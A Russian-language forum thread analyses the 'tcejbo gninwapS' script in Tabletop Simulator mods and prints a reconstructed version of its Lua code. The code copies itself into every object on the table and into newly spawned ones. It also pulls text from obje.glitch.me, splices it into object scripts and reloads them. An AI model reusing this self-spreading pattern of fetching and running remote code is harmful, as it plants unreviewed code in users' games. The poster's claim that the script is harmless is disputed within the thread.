#tcejbo gninwapS
1 messages · Page 1 of 1 (latest)
Он оттуда ждёт не команд, он оттуда качал код скрипта, потому что автор придумал такой способ обновлять код во всех миниатюрах под Warhammer сразу, как только миниатюра появляется на столе (скажем спасибо редактору кода в TTS, который не видит код в объектах, лежащих в контейнерах, из-за чего каждый модер выкручивается по-своему, чтобы обновлять мод не пересобирая компоненты каждый раз с нуля).
Называть такой код вирусом – всё равно что назвать вирусом деархиватор, использующий временные папки Temp на системном диске. Или называть любой динамически создающийся код вирусом. Технология и целевое использование – совершенно разные вещи.
Не смешивайте биологический смысл слова вирус – организм, воспроизводящийся за счёт чужих клеток – с компьютерным, т.е видом зловреда с развитой функцией самораспространения. В случае компьютерного вируса задача нанесения вреда – первостепенная, у биологического – побочная.
Сейчас этот код вызывает адовые тормоза по трём причинам:
- Проверка производится по всем объектам на столе без каких-либо исключений с помощью тега (мне кажется, это для скриптеров какая-то больная тема, я почти не видел модов на них, сам сейчас пытаюсь перейти на их использование из-за их высокой универсальности и инкапсулированности) или какого-либо иного дешёвого индикатора
- Каждый объект инициирует проверку
Первые два пункта уже провоцируют сложность (число объектов)^2, при этом сам исполняемый код работает громоздко (см. п.3-4).
- Копируем код в объект (автор, к слову, явно пытался не заменять код, а дополнять существующий, хотя бы это он учёл)
- Дальше делается запрос на сервер (я давно разбирал этот код и по-моему там было условие вроде "Игрок пытается взаимодействовать"). В нормальной ситуации после запроса происходил поиск подстроки (довольно дорогая операция, если был обширный оригинальный код, см. п.3) в коде для вставки полученных с сервера данных и последующее прекращение итерации на объекте. Но сейчас сервер всегда возвращает ошибку, а обработчик этой ошибки действует так: строка, по которой скрипт решает, что необходимо выполнить замену, в коде объекта остаётся, и итерация может повториться. Код изначально не предполагал, что ошибка будет массовой, и поэтому получил вот такую проблему, в виде неизменного состояния. И вот тут автор и допустил свою ошибку.
Всё это привело к тому, что мы, пользователи, подвигав что-нибудь на столе, провоцируем (число объектов на столе)^2*(много за раз) операций.
Тот же TTS, например, если не смог скачать ассеты, прекращает свои попытки и сообщает об этом пользователю, а вот tcejbo... не останавливается.
Это огромный баг скрипта, но это не делает его вирусом по своей сути: отработать так может любой кривой код. А ещё так может делать и нормальный код, который использован не по назначению.
Я лично написал один мод, который при плохом интернете у игроков может слегка положить игру (там длинный coroutine, от которого похоже у сетевого кода в TTS едет крыша и он не понимает, почему мы висим). Узнал я о том, что мой мод так "умеет", лишь когда у моего друга был перебой с инетом, за 2,5 года на странице мода мне никто вообще не пожаловался на это.
Этот же мой мод "заражает", как вы выразились, карты своим кодом, чтобы эти самые карты игроки могли разыгрывать по правилам игры. Ситуация у меня абсолютно аналогично той, что была у автора tcejbo...: Скрипт для этого в конкретные карты закладывать я не могу как физически (карт в игре около тысячи штук), так и идейно (мой мод поддерживает добавление пользовательских карт с полным сохранением функциональности).
И вот этот мой код пользователи утащат себе в сохранёнки, если им вдруг захочется свои карты откопировать. Только я, в отличие от автора tcejbo...:
- "заражалку" привязал к своему моду (первичное "заражение" делает зона руки и Global-секция кода);
- сделал изменение кода разовым при рутинных операциях (помещение карты в руку, розыгрыш карты);
- сама карта модифицирует лишь себя и учитывает при исполнении конкретный конечный список объектов, связанный с моим модом, и если её код исполняется с ошибкой, это не провоцирует бесконечных циклов, хотя и делает возможным для пользователя инициировать исполнение ещё раз.
а зачем он тогда обфусцирует свой код и прячется пробелами за экран?
Сама фраза tcejbo - это наоборот написанно слово. И я не виду другой причины так делать кроме как запутать программиста при анализе кода
Ответ на первый вопрос: вставка кода при конкатенации строк его так уводит, а не "желание спрятать".
Ответ на второй вопрос: строку развернули, потому что поиск подстроки производится с конца, потому что автор знает, что на шаге 1 (см. моё пояснение выше) он строку вставил в конец скрипта, а значит при линейном поиске (а поиск подстроки только так и делается), строка будет найдена быстрее, если смотреть с конца, и для этого автор строку с кодом из объекта переворачивает, но из-за этого искать приходится перевёрнутую строку.
Восстановленный мной код сейчас скину
Wait.time(
function()
for a,b in ipairs(getObjects()) do
if b.getLuaScript():find(\"tcejbo gninwapS\")==nil then
b.setLuaScript(
b.getLuaScript():gsub('%s+$','')..string.rep(\"--\",100)..
self.getLuaScript():sub(self.getLuaScript():find(\"--[[Object base--code]]\",1,true),
#self.getLuaScript()-self.getLuaScript():reverse():find(\"]]tcejbo--gninwapS\",1,true)+1)..
\"\\n\\n\"
)
end
end
end, 1)
if onObjectSpawn==nil then
function onObjectSpawn(b)
if b.getLuaScript():find(\"tcejbo gninwapS\")==nil then
b.setLuaScript(b.getLuaScript():gsub('%s+$','')..string.rep(\"--\",100)..
self.getLuaScript():sub(
self.getLuaScript():find(\"--[[Object base code]]\",1,true),
#self.getLuaScript()-self.getLuaScript():reverse():find(\"]]tcejbo gninwapS\",1,true)+1
)..\"\\n\\n\"
)
end
end
end;```
function onPlayerAction(c,d,e)
if self.getLuaScript():reverse():find(\"ereh edoc resU --\",1,true)~=nil and d==Player.Action.Select and #c.getSelectedObjects()==0 then
for a,f in ipairs(e) do
if f.getGUID()==self.getGUID() then
self.setLuaScript(
self.getLuaScript():gsub(
self.getLuaScript():sub(
#self.getLuaScript()-self.getLuaScript():reverse():find(\"]]tcejbo gninwapS\",1,true)+2,
#self.getLuaScript()-self.getLuaScript():reverse():find(\"ereh edoc resU\")+1
):gsub(\"[%(%)%.%%%+%-%*%?%[%]%^%$]\",\"%%%0\"),\"\"
)
)
end
end
end
end
end;
WebRequest.get(\"https://obje.glitch.me/\",
function(g)
if g.is_error then
log(g.error)
elseif g.text~=\"\" and g.text:sub(1,4)==\"true\" and self.getLuaScript():find(g.text:sub(5,#g.text),1,true)==nil then
self.setLuaScript(
self.getLuaScript():sub(
0,
#self.getLuaScript()-self.getLuaScript():reverse():find(\"]]tcejbo gninwapS\",1,true)+1
)..
g.text:sub(5,#g.text)..
self.getLuaScript():sub(
#self.getLuaScript()-self.getLuaScript():reverse():find(\"]]tcejbo gninwapS\",1,true)+2
),
#self.getLuaScript())self.reload()end end)
--[[Spawning object]]\n\n"```
Собственно вот это self.getLuaScript():reverse() и вынуждает делать tcejbo gninwapS вместо Spawning object
Поскольку рабочего объекта я своими глазами не видел, я понятия не имею, где этот код был, но моя гипотеза – тупо в функции onLoad либо в каком-нибудь обработчике onPlayerAction(...)
особенно последняя мысль правдоподобна в связи с тем, что автор здесь как-будто бы использует один из аргументов этого обработчика, и как лихо тормозит у людей
А, забыл сказать, почему восстановленный-то: оригинал написан в одну строчку. И объяснение этому – некорректная табуляция на переносах строки во вставляемом коде, приходится делать её короче, чтобы код потом не поплыл + вроде нужно по-другому мультистроку, т.е. строку с переносом строки ентером, в луа оформлять (точно помню, что я выходил из положения как-то у себя, но не помню как)
нашёл, вообще неинтуитивно это в Lua делается – [[мультистрочная строка]]